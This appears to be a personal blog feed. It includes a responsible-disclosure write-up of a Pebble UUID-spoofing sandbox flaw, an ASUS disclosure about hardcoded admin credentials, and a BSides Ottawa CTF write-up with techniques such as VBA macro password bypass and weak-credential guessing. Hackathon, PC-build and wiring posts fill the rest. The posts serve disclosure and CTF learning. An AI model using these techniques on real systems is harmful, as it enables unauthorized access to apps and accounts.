]]>Last month Rob and I found a vulnerability in the Pebble app ecosystem which enabled us to access a target application’s sandbox. Essentially the flaw enables a malicious application to read the flash storage and access the JavaScript instance of the target app once the malicious app is opened. Ultimately this was assigned CVE-2016-10702.
The application exploits a vulnerability in the way that the UUID of an application is stored. When a PBW container is built, the app’s info (including the UUID) is stored in the file appinfo.json located in the root of the PBW. However, some of the app’s info is also written as headers into the individual app binaries (each in the aplite, basalt, chalk binaries). By modifying the value of the UUID written to the header of the binaries in the malicious app to match the target app’s UUID we are able to trick the watch into thinking the target app is being loaded when in reality the malicious app is being loaded.
Building the proof of concept for this vulnerability was pretty straightforward. To start we built a simple application which would read a numeric value saved in flash storage and print it out as text on the screen. The application would also use the javascript instance to log a phrase which is unique to the target application. Finally this target application would be built & installed on the watch, with the UUID of the application being recorded.
The next part was to initialize a new pebble app project. Doing so would generate a package.json with a different UUID compared to our target app. The UUID in the malicious app’s package.json would be saved elsewhere then replaced with our target app’s UUID this way during build time our malicious app will be built with the exact same UUID as our target app. Finally the sample malicious application would access the same flash storage key that the target app reads from, only this time when the middle button is pressed the value will be incremented.
The next step is to build the malicious app. Since the malicious app is being built with the same UUID as our target app, that is the UUID that will be built into the headers of the aplite, basalt and chalk binary files. The final step is to extract the appinfo.json from the malicious app, modify the UUID to be the UUID which was generated when the malicious project was created, and then repack the pbw container.
What made this vulnerability have a higher impact was the fact that the malicious application could be uploaded to the app store. When uploading a pbw to the app store the validator used to only check the appinfo.json to see if another app with that value already existed. The appstore never validated that the binary headers actually matched the appinfo.json values. Thus a malicious application could be uploaded to the appstore with the intent to cause harm, for example an application could be created to spoof the Uber app and request an Uber without the user’s knowledge.
There are actually some practical uses to this too, although the bad does outweigh the good in this case. Rob had the idea that you could create a watchface which reads values from flash storage for color preferences etc… Then you could create a watch app which would spoof the face’s UUID and be able to update those preference values. This way a watchface’s setting could be changed without needing to have access to the phone.
The issue is now resolved and the appstore does more rigorous checking when uploading an application, to ensure that the UUID is not being spoofed.
For finding this vulnerability Pebble awarded us with a $500 bounty along with our names being put on their whitehat hall of fame page.
1 | September 10 - Initial report to whitehat@pebble.com |
This past weekend I had the opportunity to participate in Hack Western 3 which was a 36 hour hackathon located at Western University! In case you’re unfamiliar with the concept of a hackathon MLH states that it is:
A hackathon is best described as an “invention marathon”. Anyone who has an interest in technology attends a hackathon to learn, build & share their creations over the course of a weekend in a relaxed and welcoming atmosphere. You don’t have to be a programmer and you certainly don’t have to be majoring in Computer Science.
Both my roommate and I were accepted to Hack Western 3, so we opted to work as a team. On the 9 hours bus ride from Ottawa to Western we met Ryan, our third teammate. Over the past few months I’ve been thinking about building a centralized system to aid hackers in CTFs. The idea comes from previous CTF events I’ve attended where there is no convenient way manage which flags have been captured and how they were captured. CTFort aims to ease the pain of managing which flags have been captured and will hopefully some day act as a centralized portal for CTF teams.
After an extremely long bus ride to Western university and arriving around 8:30 pm the team got settled in a room and prepared to start hacking. We spent the first few hours discussing the stack we would use and the API which would ultimately control CTFort. We opted to use Angular 2 with Typescript for the frontend and then Node.js using the express framework on the backend with the data being stored in a postgresql database. All of this was wrapped up and running on an AWS EC2 instance.
Around midnight we finalized our plan and got started with the development. My first job was to get the production environment setup so by the time Sunday morning comes everything can just be uploaded to the server. So my tasks for the night included registering a domain name, spinning up an EC2 instance, and setting up the DNS records to point to the AWS instance. I also created the github repository to host our project.
This was my first time using AWS and I must say I really enjoyed the process. It took only a mere 5 minutes to get registered and spin up a Ubuntu 16.04 LTS vm on AWS and get all of our teams public keys added to the instance. I also purchased the domain name ctfort.com registered and then used Hurricane Electric’s free DNS service to set the A record to point to our server. Next I setup api.ctfort.com which would be the subomain where our API could be accessed. Next, for fun, I compiled my own version of Nginx with the more_set_headers directive so that I could modify there server header, this can also be used as a security measure to change the server tokens preventing malicious crawlers looking for specific server headers. Finally, using my old guide, I setup Let’s encrypt to get free SSL certificates added to our project. Let’s encrypt is great because you can have SSL setup in less than 5 minutes.
That was pretty much all we got done friday night, we ended up going to sleep around 4:30AM after submitting our project to the Hack Western 3 devpost.
The goal for saturday was to finish up the project. This included creating the entire UI and creating all of the API endpoints, so there was plenty to get done. After waking up at 8:30 the team got started right away. Kurt & Ryan started by creating the UI landing page (with an awesome parallax effect) & login/registration forms. My job was to create the backend API, build the database schema, and setup PostgreSQL on the server.
After creating the schema I got PostgreSQL installed on the server. To do this I just used apt-get
to install the latest version of postgres. I then proceeded to create a new user on the box with limited permissions on the fs and the databases. This user would be used to connect to the database and also run the web application/API. I did this so that if an attacker were able to gain access to this user they would be restricted to the permissions of that account only.
The last step was to build the RESTful API. I decided to use Node.js + Express to build the API since I’m pretty familiar with them. Most of the API was straight forward, I had the endpoints in app/controllers/
, the endpoints manipulated the models at app/models/
and the models would access the database. The app/shared/
directory contained a bunch of helper functions used throughout the application.
I also had a layer of middleware in app/middleware/
which performed various operations. The helmet middleware was used as a general security filter to prevent things like XSS and click jacking. I used express-session with the pg storage model to store sessions securely within the database. Finally I created an auth middleware which ensures all access to <website>/auth/
is using a validated session. To store the passwords in the database I chose to use the industry standard bcrypt library which quickly and securely stores passwords.
Building the API took the majority of the day and the rest of the day was spent at various events. We ended up submitting our project sunday at 4:30 in the morning so we could catch a good night’s sleep. Unfortunately we didn’t get everything done but thankfully we had enough to pitch our idea!
There were 2 events which I chose to attend on saturday, both of which were done by security related companies. The first was a talk by an employee from Digital Boundary Group titled “Internet Cartography: Mapping the Internet” and the second was “Cracking the Code: How to use Decryption to Uncover the Truth” by Magnet Forensics.
The talk by Digital Boundary Group can be found here: https://github.com/okabe/hackwestern. It was a great talk! The TL;DR version is essentially one of the Digital Boundary Group employees mapped the internet & its IRC servers. He found many interesting things including IRC Botnets, Torrent Release Groups and even some local London, Ontario IRC server! He did this by using Hurricane Electric’s BGP services to find top level IPs for specific, countries and ISPs and then mapping out their networks and finally looking for servers which responded with IRC like traffic on port 6667. I highly suggest taking a look at the presentation for an in depth explanation.
The second event was a forensics challenge provided Magnetic Forensics to demonstrate how forensics can be very difficult. I ended up placing fourth in this challenge! For this challenge we were given a phone backup of a person who had committed a theft. Our objectives were to find the apps he used to communicate with the other thieves, the thieves online names, the location history of the phone, and if possible the real name of the owner of the phone. What made this challenge complex was that there were hundreds of apps and thousands of files/folders.
For this challenge we were given a few hints saying look for: odd files in the downloads folder, log files, chat database, .eml files and app (Pokemon GO) that might track location data. After a recursive find I came across all of the *.eml files, which had revealed that there were 3 users involved: A, B and C. I also looked for the log files which were from an IRC app and they too had the same 3 users. Also in the search for log files were the pokemon go logs for the location history. Next I found a sql lite database for Whatsapp which had the same 3 usernames but their passwords were encrypted. When browsing the downloads folder I noticed there was a key.store file, so using this key file I was able to decrypt the realnames which were encrypted with AES-128. Finally to determine the real name of phone’s owner I noticed that the owner joined IRC as user “A” which matched up with the person’s decrypted realname in the whatsapp database.
Late sunday morning we pitched our idea to many judges. Many of them seemed quite impressed with the idea and were really interested in what we learned. One of the judges though that it was awesome that we compiled our own version of Nginx to change the server header. He also seemed quite intrigued about the fact that we supported SSL through Let’s Encrypt. Also the group beside us made a game for the Rift so I got to try VR for the first time! Unfortunately we didn’t win this time around but it was a great event! I plan to continue building out CTFort and if you’re interested I encourage you to also contribute: https://github.com/fletchto99/ctfort.
]]>Last thursday and friday I had the chance to participate in my first professional level CTF at BSides Ottawa. Hopeless.carleton, the team I was on, came second overall with a remarkable 3600 points! We were actually in first place until roughtly the last minute, when “That @Shopify Team” found one more flag putting them 250 points ahead of us. It was a close fight until the end!
The organizers dropped one final challenge on us with about 2 hours left (thought it only felt like 1/2hr). It was a web challenge which I chose to work on. We were told to get the flag.txt which was located at the root of the box. We were given a ruby webshell on the box however when trying to read the flag we would get permissions denied. Through some investigation I determined that the account “Cyber” which the app was running under was part of the sudoers group however when running sudo cat /flag.txt
the web shell would crash when waiting for the interactive input for the password. My teammate thought that this might be a weak creds attack and a nmap scan revealed that SSH was open to the box so all I needed to do was get the password for the Cyber account.
So with 5 minutes left I started trying every possible password from “password” to “admin” to “qwerty” to even “CyberCyberCyber” (the name of the ruby app). After all that I had no luck. With about 30 or so seconds left I noticed that “That Team” got it, so I though let’s just do cat .bash_history
to see if they might have left anything useful behind, but they didn’t. After talking to “that team” afterwords it turns out the password for the Cyber account was just Cyber. If I would have gotten that we would have won since the flag was worth 300 points. Moral of the story, always try the username as the password and never use your username as your password.
In this blog post I aim to cover some of the challenges I managed to tackle and what I learned while breaking them. The challenges are roughly in the order that my team and I managed to break them. I’ll hide the answers and post the challenges as well this way if you would like to try out the challenge you can. Unfortunately I didn’t take pictures of the network ones, so I am unable to discuss them in detail.
While writing a new script for Office Space we ran into an error. Can you find it?
What makes these two scripts different?
Solving this problem was quite trivial. First I started by analyzing the 3 files, we can see two copies of a script for a show and also a zip file that is encrypted with a password. I came to the conclusion that in the scripts there is likely the password for the zip hidden.
By analyzing the differences between the first and second version of the provided scripts we can see that one of the character’s names PETER
is missing from the first script. In the second script we see the addition of the word “backwards”.
Therefore I had concluded that the password to the error.zip file must be PETER
backwards: RETEP
. After attempting the caps version and it not working I then tried the lowercase version retep
and the file extracted revealing:
1 | pcloadletter |
What is the filesize so big for such a small image?
To solve this challenge you need to really consider the title of the challenge. Clearly the person is pointing at something but you can’t immediately see what. That indicates that there is more to this image than what we can see. After running binwalk
(as per the suggestion of my teammate Nadeem) on the image we can see that there are actually multiple sections.
I attempted to run binwalk -e
to automatically extract the multiple portions of the file however that failed. So after running dd if=in.jpg of=out.jpg skip=202 bs=1
we get:
[ unknown.pcapng ]
Can’t you hear the flag?
This challenge wasn’t actually solved until after the CTF was over. @t1v0 and Nadeem solved this one afterwords.
When you open the stream in wireshark you can see that is lots of UDP traffic of the same size between multiple IPs. This is a good indication of the Real Time Protocol being used. Since I know this is RTP go into analyze -> Decode As and choose RTP. This will decode all of the data into something that makes more sense:
Next you need to analyze the stream, to do that go into Telephony -> RTP -> Stream Analysis. From here you will be prompted to save or play the stream. Here is what it comes out to:
Harambe looks kind of sad about something.
[ harambe-45f6d15f93c1c7edba4130f87962a2e7ff4445df_081894cb93ac47a1d80f7241d2af0aa4 ]
What is stegsolve?
First things first, let’s figure out what type of file harambe is. After a quick file harambe...
I determined that it was an image of harambe:
My first instinct with the image was to reverse image search it to see what we can find online. Unfortunately that search didn’t reveal much other than there is a strange black line beside his face. After playing around with a few tools such as binwalk and hexeditors my teammates suggested I try using stegsolve which is a simple program used to solve these kinds of problems. Once I opened stegsolve and messed around with a few of the options I noticed that the Alpha Plane 0 had some black bars across the top and then nothing else… This seemed out of place.
When I noticed this issue I went to the data extract functionality to extract information for the Alpha Plane 0. Unfortunately I didn’t solve this during the event since the copy of Stegsolve I was using was broken and I was unable to view the alpha plane 0 when attempting to extract data. I relied on the tool too much, I could have just made a script… but had it have worked this is what I would have seen:
This invention to the humpty dance looks kind of phishy to me.
[ humpty_dance_838d811304afcd7adcac5306f287182d ]
Mascros, Macros, Macros Everywhere!
Like most other forensics challenges the first thing I needed to do was to determine the file type. By using the file
command I was able to determine that this challenge is using a word 2007+ document. After flipping the extension over to .doc
and opening the document up I was greeted with a lovely message that went something like: “This document contains macros, we recommend disabling them for your safety”. That was my cue enable macros and view what it is trying to do. When trying to edit the macro your are prompted for a password, so let’s get by this.
I found this nifty little article on stack overflow about bypassing the password by changing DPB
to DPx
in a hex editor. To do this we first we need to open the .doc
in our favourite compression tool AKA winrar and extract word/vbaProject.bin
. Next open vbaProject.bin in a hex editor and search for DPB=
replacing it with DPx=
like so:
Lastly just drag the vbaProject.bin back into the same directory in winrar and re-open the document in word. Now when you open up the document in word and enable macros you will get an error and macros will now be editable:
If you open up the macro you get this code:
1 | Sub SpecialerEvent() |
And executing the macro gives:
From the output and some close examination I determined that the arrays were either hex or integers representing letters, so looking at the arrays converted to letters I get:
1 | humpty_1 = Array("_", "e", "t", "a", "h", "_", "e", "y", "e") |
It appears that 1 is reversed, 2 is fine, 3 is fine, 4 is reversed, 5 is fine but 6 & 7 don’t seem to make sense. By analyzing the code I determined that 7 is inserted into 6 making “this_is_annoying”
So now we have eye_hate_right_now_macros_stop_it_this_is_annoying
. I don’t remember exactly what the flag was, but it was some variation of that.
We found a new version of Mario. It is amazing, the graphics are so life like.
[ mario_f539418c5e65405677db05c12e796005.gz ]
Somethings not right with the ending music…
I attempted to solve this during the CTF but was unable to. Credits go to my teammate Nadeem for solving this forensics challenge after the CTF was over.
If you watch the video around 33 seconds into the video you start to hear odd sounds that don’t go with the flow of the music. So if you open the video up in something such as audacity or audition and then press the Spectrogram button (audition it is called “show spectral frequency display”) you will see that the flag has been encoded into the audio:
Is that some ASCII art?
Copying the text and pasting it into a text editor and then zooming out revealed that there is some ASCII art:
During the CTF that was as far as we got. He-man and Masters was not the flag. After the CTF was over the organizers said they found an app which enables encoding a message into an image and then generating ASCII art as the output. This picturesworththousandwords was the app they were talking about. After decoding the text we get: The Flag IS: YoU_Will_NEvEr_FinD_TH1S
That’s all for now! I must say I really enjoyed my time at BSides Ottawa this year and can’t wait for next year! Huge shoutout to Some Random Name for building this CTF!
]]>So this is my first public disclosure… I can’t believe I found this.
About 3 months ago a component on my motherboard broke, so off I went to contact ASUS for an RMA only to find out that their RMA authentication mechanism was broken, badly. It all started after a google search for ASUS’ RMA page which brought me to the typical form asking for the usual RMA information including your name, product and serial numbers. Lastly your need to fill out a verification code to prevent spambots. After completely filling out this form I pressed the submit button…. and nothing happens. So I scroll up & down to confirming that all fields were filled in properly. After verifying the integrity of the data I had entered I press submit again and once again nothing happens.
So off to the network inspector I go in chrome. It appears that the request is failing with a 500 response code. So as a developer my instinct was to see what ASUS does to handle invalid responses, do they just ignore them and not notify the user? So I hop on over to the sources tab only to be completely shocked about what I was going to see!
After inspecting the code I was most certainly not logged in, so there’s no way ASUS can be serving me up a custom page with my credentials hardcoded into the page. Now perhaps this was just an oversight on my part and there is a comment above the code, maybe it clarifies the use of this usernameAndPassword
variable. So off to google translate I go.
Nope, not really useful. So far we know that there is a usernameAndPassword
hardcoded value which is being set as an authorization header for an API call. The variable was in the format of var usernameAndPassword = 'Authorization: Basic c29tZVVzZXI6c29tZVBhc3M='
(note the value has been changed) and this is being posted to all API endpoints. After some basic analysis and understanding how basic authentication works we can determine that the value is actually just the base64 encoded credentials for whatever account this is. This data is NOT encrypted nor hashed and can easily be reversed by decoding the base64 string.
So surly this is just some low level account that isn’t really necessary and doesn’t have any access… fingers crossed. So after some simple research I was able to find the pretty login page to the RMA system by going to the root of the API. No complex URL fuzzing required, it was found in about 30 seconds. Side note: Shouldn’t this kind of login page be only accessible internally?
So far we have some login credentials and a login page. The last step is to actually check if the page accepts the credentials and where it brings you. And tada I’m in. So at this point I’m freaking out panicking to find the logout button and get this reported ASAP. From my brief 5 seconds in the system it appears that the account was not only valid but also an administrator account.
Ok so now that I’ve found this I needed to report it. Before I send it off I do a little bit more information gathering determining that there are a total of 3 forms which have this information hardcoded within. After gathering all of the above information and taking the relevant screenshots I put together a report to send ASUS… only where do I send it to? ASUS doesn’t have a fancy whitehat program like most tech giants so I had to search for a secure way to contact them. After a while of looking I came across one line in their privacy policy stating if a technical vulnerability is found I should email privacy@asus.com. So I sent them a report with all of the required information.
On July 13th I sent the email off to ASUS containing the required information. On the 14th I noticed that they have removed the affected lines of code on 2/3 forms. Later that night they reply in a one line email saying thank you and that the issue has been resolved. I reply to ASUS notifying them that only 2 of the 3 affected URLs have been fixed. After a week of hearing nothing back I notice that the final form has been silently patched. A few days later I send a follow up email asking if everything should have been patched but I have not heard back from ASUS since then. It has been over 45 days and according to CERT that should be plenty of time to fully fix the issue and therefore I am able to publicly disclose the issue.
1 | July 13, 2:00 PM EST - Their livechat directes me to an RMA form, telling me it will likly cost $ to fix my product |
Oh and in the end of all of this they still wanted over $250 to fix my motherboard. So I ended up fixing it my self by ordering a replacement cable for 0.99 on ebay.
]]>All prices in CAD
I often get asked why I chose the name deadpool when there is a large Assassin’s Creed logo on the right sidepanel. The name has nothing to do with the AC logo but instead comes from my naming scheme. Each of my electronic devices are named after a Marvel character, since I chose a red/black color theme for this build I thought the name deadpool would suit it well. For added effect I also placed a deadpool bobble head inside of the case… he’s also preventing GPU sag ;)
Way back in grade 10 I built my first computer. It was quite the challenge and just the idea of completing a low end gaming computer was awesome. It was my first ever build known as Project-Firestorm. It featured many mid-range components for it’s time, including a 560ti and a 2500K. It didn’t have any specific themes other than the NZXT orange LED strip and the black NZXT tempest elite. This computer was my pride and joy up until last year when I decided it was time for an upgrade. Over the past year I have slowly been upgrading the internals of project firestorm until I had enough new components to split into two computers, being able to rebuild my original and start fresh with Project Deadpool.
After spending many hours watching various reviews I was set on purchasing the 760T to house my new beast. So after a few pieces of contract work I ordered the Corsair 760T along with the ram kit and the cablemods cables, targeting a red and black theme. Sadly the build process would have to wait since it was the week before exams when all of the parts were ready to go. After my exams were done I finally had time to finish this beast, spending a good 4 hours one night I transferred all of the shiny new guts of project-firestom into project-deadpool and then restoring project-firestorm to it’s original state. Sadly I didn’t document this process so there are no images, but I must admit it was quite fun to be building a second computer!
Since this was my second time building a computer my main goal was aesthetics. I already had the power available to me. There were three main challenges I faced during the process:
Here’s how I fixed these issues:
For now I have a powerful enough PC to suit my gaming needs, so my future goals will focus on the aesthetics of the build. My ultimate goal is to hardline the build with red liquid. However some more realistic goals include: fully sleeved cables, including USB headers, Fans and Sata cables; Better cable management (which should be easy!); and have the front grill go from bottom to top, removing the 5” drive bays. I remember seeing someone who did this somewhere but I can’t seem to find it again… if anyone knows where this is from please let me know!
As of August 4th, 2016
]]>For the last month or so my aluminum body keyboard has been shocking me for intervals of about 10 seconds. I’ve finally figured out why this has been occurring. I was going crazy when my keyboard was continuously shocking me while my room mate, who right after me touched the keyboard and it didn’t zap him at all. Turns out I’m not going crazy yet.
About a month ago I got a new desk and a new computer case. About a week after getting them the random zappage started to occur. I thought there’s no way it has anything to do with my desk, so off to Corsair support I go for my case & keyboard. Just for safety measures I also poked EVGA support to see if it might be a PSU issue. Finally for good measure I posted on LinusTechTips too see if any community member had experienced this before.
It took me about a month of talking to support forums and on LTT to get nowhere; the case, PSU & keyboard all checked out. Everything was grounded fine and working as intended. I was stumped… that is until the other day when I was gaming and getting shocked quite a bit. When I’m gaming I usually like to rest my feet on the subwoofer below my desk as seen in the image below. Oh, and yes that is a 220V old dryer plug below my desk, harmless right? WRONG. In a normal situation this would be fine, since I’m not plugging my toes in or anything… But this situation isn’t normal.
So out came the multi-meter as seen in the images below. One end touching some exposed metal on the plug which should be grounded, the other in the ground of a known to be working plug. Sure enough the results were quite interesting. Turns out the plug has shorted and has been using my body to complete the circuit and use my computer as a ground. I had 65V going through me and into the keyboard, it was quite shocking to find out this was the cause!
Thankfully this mystery has been solved and no equipment was damaged or injuries occurred in the process. I have since contacted my landlord and will have this issue resolved ASAP.
]]>